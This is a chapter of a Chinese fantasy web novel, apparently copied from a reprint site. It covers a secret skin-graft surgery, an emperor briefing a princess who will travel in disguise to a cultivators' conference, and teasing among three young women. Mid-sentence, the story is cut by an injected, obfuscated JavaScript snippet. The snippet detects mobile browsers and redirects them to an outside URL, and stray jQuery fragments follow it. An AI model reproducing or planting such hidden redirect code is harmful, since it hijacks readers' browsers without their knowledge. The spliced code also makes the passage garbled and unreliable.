文趣网 > 其他小说 > 弈天机 > 22. 九州清晏(3)
    似是没想到崔芒这小子还能下这招,青芸宛芸都愣住了。

    就连魏停川面具后的眼神都变了变。

    “你小子还挺能耐,年纪这么小还有几分聪明劲。魏统领运气真好,收了个好苗子。”

    宛芸粲然一笑,意图接过崔芒手中的丹药。

    崔芒却把掌心握紧。

    “这丹药是统领的,由他来分。”

    宛芸一愣,又好气又好笑:

    “你这孩子,才夸完你,又搞那么死板做甚。这是交易,我和魏统领商量好了的……”

    “崔芒,给一颗,然后出去。你今天的功还没练完。”

    青芸也愣住了。

    “魏统领,您这是……”

    魏停川嗤笑一声:

    “干什么,一手交钱,一手交货。东西备好了,你们的价码呢。”

    宛芸接过一颗丹药,放到早先备好的药瓶中。青芸打开带来的药箱,冷凝的白雾喷涌而出。

    “过来吧。”

    魏停川走到主位坐下,取下面具,脱掉上衣,目光深沉地盯着药箱里的皮肤。

    青芸手里刀剪齐备,明晃晃的。

    宛芸摊开针包,各种大小的针码得整齐,还有一卷半透明的线。

    “放心吧,答应了的事,我二人一定好生完成。”

    说完,二人走上前去,轻手搭上他烧伤的疤痕。

    “不服麻药的话有些疼……你忍忍哦。”

    姜绛宫中。

    灯火通明。

    “……你们输了。”

    乔师微神色淡然,抿了口茶。

    面前是棋盘,乔师微坐黑方,红方是孟萌姜绛两人。

    “啊,不公平!为什么这都十局了我从来没赢过!”

    姜绛望着满盘狼藉欲哭无泪。

    孟萌也一脸懊恼。

    “就是啊,我看这局开局挺顺的,吃了她不少子,我还以为有希望呢……”

    乔师微无语:

    “那是让你们的……我放的水都能汇成长江东流去了,还能被你俩整出将帅照面……不输才怪。”

    “我还以为乔姐姐只会围棋,没想到这象棋也这么强。”

    姜绛瘪瘪嘴。

    “我象棋的确不如围棋。以前和师父下棋,象棋没赢过,围棋倒可以五五开”

    乔师微实话实说。

    三人笑闹着,外面突然通传一句:

    “陛下,皇后,淑妃娘娘到!司天监监正孟钊到!”

    三人慌忙起身,行礼恭迎。

    龙熙帝姜维远年方四十,鬓边未见霜色,身着暗金常服,气度威严而俊朗。

    “这么热闹。”

    他扫了眼棋盘,又扫了眼姜绛那张写满不服的小脸,笑了。

    “你母亲在外面就听见你在喊不公平——怎么,又输了?”

    姜绛把头抬起来,委屈巴巴的:

    “父亲,是乔姐姐一点情面都不留!”

    “……让了你十局还叫不留情面?”

    乔师微礼毕起身,语气无奈又纵容,

    “陛下明鉴,臣女已经把水放成滔滔江海了。”

    姜维远笑了一声,示意众人免礼,自己走到棋盘边,低头看了两眼残局。

    红方的帅和黑方的将隔着一条楚河汉界,面对面杵着,中间空空荡荡,确实是“将帅照面”――象棋里最低级的犯规。

    “孟萌,”

    姜维远转向另一边,

    “这步将帅照面,是你走的还是玉芝走的?”

    孟萌干咳一声,眼神飘向姜绛。

    姜绛义正词严地指向孟萌。

    两人互相指了半晌,姜维远心里有了数。

    “……行了。”

    他摆摆手,

    “乔丫头一个对你们两个,还放了水,你们都能走出将帅照面……这水平,清谈会上可别跟人下棋,丢的是东尧的脸。”

    “父皇!”

    姜绛鼓起腮帮子,

    “我是去清谈会交流术法的,又不是去下棋的!”

    “你交流术法?”

    周月娥一直站在姜维远身侧,冷不防开口,说的话也没多少温度。

    “你连灵力都没有,交流什么术法?去跟人交流棋盘上的将帅照面吗?”

    姜绛立刻缩了缩脖子。

    乔孟二人无奈叹气。

    周月娥此人……就是这个风格。

    难怪姜绛一直怕她。

    宋姝跟在周月娥身后,看到此番尴尬,连忙笑盈盈地打圆场:

    “好了好了,清谈会本就不只是比术法的地方。咱们玉芝机灵,去了自然有她的用处。”

    孟钊没说话,只是朝乔师微和孟萌点了点头,随即站到姜维远身侧。

    殿门在身后合上。大家都心知肚明:该说正经事了。

    姜维远在主位坐下,周月娥和宋姝分坐两侧。孟钊立在案旁,从袖中取出卷帛书摊在姜维远面前,然后恭敬侧侍。

    ――清谈会的章程。

    姜维远看门见山:

    “三日后出发。行程孟监正已经安排妥当。从淮南到九州清晏,路上大约十来日。使团由司天监出面,孟萌和乔师微是正式与会者,玉芝的身份是随行侍从。随行侍从没有资格进入会场,但可以在九州清晏的馆舍自由活动。这是明面上的安排。”

    他顿了顿,目光落在姜绛身上。

    姜绛的眼睛随了宋姝,圆溜溜的,十分有神。

    姜维远语重心长。

    “我对外宣称盛安帝姬被禁足三月,闭门思过。你宫里的人我信得过,但出了这个宫门,你要是哪句话说漏了嘴、哪件事暴露了身份,我在朝堂上要替你圆谎,你两个母亲在后宫要替你善后,乔大人和孟小姐还要分心护你——你明白朕的意思吗?”

    姜绛难得没有顶嘴,乖乖点了头。

    “明白就行。”

    姜维远面色稍缓。

    “九州清晏的地界不受任何一国管辖,但各国使团都住在山下馆舍,低头不见抬头见。你记住三条:第一,不许单独行动。第二,不许跟人起冲突。第三,不管遇上什么事,先找乔师微和孟萌商量。听清楚了?”

    “听清楚了。”

    姜绛答得干脆。

    宋姝接过话来,语气温和,但一语中的:

    “玉芝,你这名字太打眼了。盛安帝姬的名号,整个九州都知道。你得取个化名。”

    姜绛眨了眨眼:

    “化名?就叫玉芝不行吗?”

    “玉芝是你的小名,但总得换个姓,换个不容易联想过来的。”

    姜绛眼睛一骨碌,计上心头,脱口而出。

    “那就姓赵吧,赵玉芝。这个姓放东尧的修士里可不惹眼了。”

    乔师微点点头,心中赞赏。

    赵家本是东尧第一世家,虽说出了端王那档子事声望损了些,但底蕴还是在,出过的修士也多如牛毛。

    至于杂役……像赵同子那种,更是数不胜数。

    多个叫赵玉芝的侍女,有谁会起疑呢?

    “这名字不错,还有几分机灵。”

    周月娥面无表情点评了句。

    孟钊将帛书卷起,又从袋中抽出三份金质请柬。

    就是乔师微和孟萌才回淮南见过的那款。

    “这是东尧的三张请柬。凭此入场,不认人,只认柬。丢了就是没了,谁也补不了。”

    乔师微低头看那张金纸,沉甸甸的。

    孟钊的话还在继续:

    “乔师微,孟萌。此次清谈会,你们二人是东尧的正式与会者,所有言行代表东尧司天监。会上九州修士齐聚,切磋交流是常事,但切记分寸。东尧去年刚与西永交过手,今年的清谈会,想探我们底的人不会少。”

    他的目光在乔师微脸上停了一瞬,似乎想说什么,但最终只是补了句:

    “凡事三思而后行。”

    乔师微恭敬应下。

    凤仪宫那晚周月娥的话又在脑子里逛了圈:

    西永白霁今年会来,注意安全。

    两件压力叠在一起,乔师微手握的金纸也汗湿了。

    几个大人离了场,三个少女如释重负继续叽叽喳喳:

    “唉,你说这请柬也真够奢侈的。虽说是镀金,但全部熔下来也够咱半月俸禄了。”

    孟萌打量这请柬,揉了揉,搓了搓,依然□□。

    乔师微没理她。姜绛回了:

    “不至于吧。一张纸而已,感觉还没有我的金钗值钱。”

    孟萌哂笑一声:

    “那肯定啊,你可是帝姬,这一支钗子赏下去可是值一条

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730355|208817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    命呢!”

    姜绛漫不经心地神情瞬间僵住了。

    孟萌也后知后觉说错了话:

    “那啥……我不是这个意思――我是说――”

    “……你说得对。”

    姜绛难得怏怏不乐一回。

    “那只钗子的确名贵,我也喜欢。当时内务府的人说,那只钗子是全淮南最顶尖的匠人花了三个月做的,价值连城。我在想,这只是一个首饰而已,犯不着这么……这么……”

    姜绛百感交集,词穷了。

    乔师微补了句:

    “劳民伤财。”

    “对对!重华宫里先生讲的反面就是这样――太浪费了吧。”

    姜绛附和道。

    乔师微很是欣慰:

    “有这等觉悟,我们玉芝还真没被惯坏。”

    姜绛不服气:

    “谁被惯坏了!我好着呢!”

    孟萌笑笑:

    “诶呀,咱们玉芝长大后当个闲散帝姬也成,入朝为官嘛――也有天赋哦!”

    “我不当官!当官好累!我要找一个――啊不,一群俊俏的小郎君,好好过日子!”

    孟萌坏笑:

    “啊呀,一群怎么能‘好好’过呢?”

    “怎么不行!我姜绛看上的都是顶顶好的男儿,不光长相要好,能力也不能差,人品也要好,要有度量!怎么能找小心眼儿呢?”

    乔师微也莞尔:

    “好呀,那玉芝以后可得找全东尧最好的男儿。”

    姜绛歪着头,选择继续价码:

    “东尧还不够。我要找全九州最好的男儿!”

    黑水连池。

    手术结束时,地面上开始飘雪。

    “成了,你自己看吧。”

    宛芸把镜子扔给他,魏停川接住。

    镜中人的皮囊完美无暇,狰狞的暗红疤痕无影无踪。新换上的皮与他原来的脸几乎没有差别,只有缝合的地方还有数道浅淡的痕迹。

    “这大半个时辰,竟然一声都没喊,难为你了。缝合线完全消失要半年,但你是修行者,可以用灵力催动加快吸收。手臂的话……外观可以修复,但是功能……你自己注意。”

    青芸收好药箱,嘱托魏停川。

    宛芸在一旁双手抱臂,单刀直入:

    “喂,你的脸好了,我们的东西该给了吧。”

    魏停川淡然一笑。

    “二位的货物已交。一颗解药。”

    “一颗?!”

    宛芸眼睛里要喷火了。

    “魏停川――你什么意思?是想隔阂我们姐妹?!”

    “宛芸统领误会了。这丹药,一人半颗足矣。半颗药,既能解除对你我人身自由的限制,又能保持缚魂蛊使人百毒不侵的功效,两全其美。”

    一语落下,宫里静默了瞬。

    两姐妹才从他的话里回过神来。

    宛芸挑着眉,半信半疑:

    “……天下竟有如此好事?”

    “宛芸统领熟知药性,可亲自查验。”

    又是一阵静默。

    青芸突然开口,声音平静:

    “我信。回去分吧。”

    宛芸讶然:

    “姐姐你就这么信他――”

    “走吧。雪要下大了。”

    青芸意味深长地望了魏停川一眼,随即拖着宛芸离开。

    “告辞。”

    外面下着雪。

    风雪交加。

    魏停川没戴面具,走到室外时,大雪迷了眼。

    一片茫茫的白里,那道单薄的墨黑身影闪转腾挪,剑光飞动,比雪光嗨显眼。

    “崔芒。”

    他叫了声。

    那道身影平稳落了地,跑到他面前,单膝跪地:

    “统领。”

    魏停川俯视着他。

    十四岁的少年,个头和块头都还没怎么发育,身着暗城杀部统一的黑色劲装,笔挺得像一竿竹。

    少年的头发湿透了,发顶上满是雪,融化后顺着脸颊往下流,流过他俊秀的眉眼。

    魏停川注视了他半晌,然后伸出手。

    “这个给你,一整颗,吃下去。”

    崔芒抬眸。

    是那颗他护下来的丹药,红彤彤的,绿莹莹的。

    这是新一章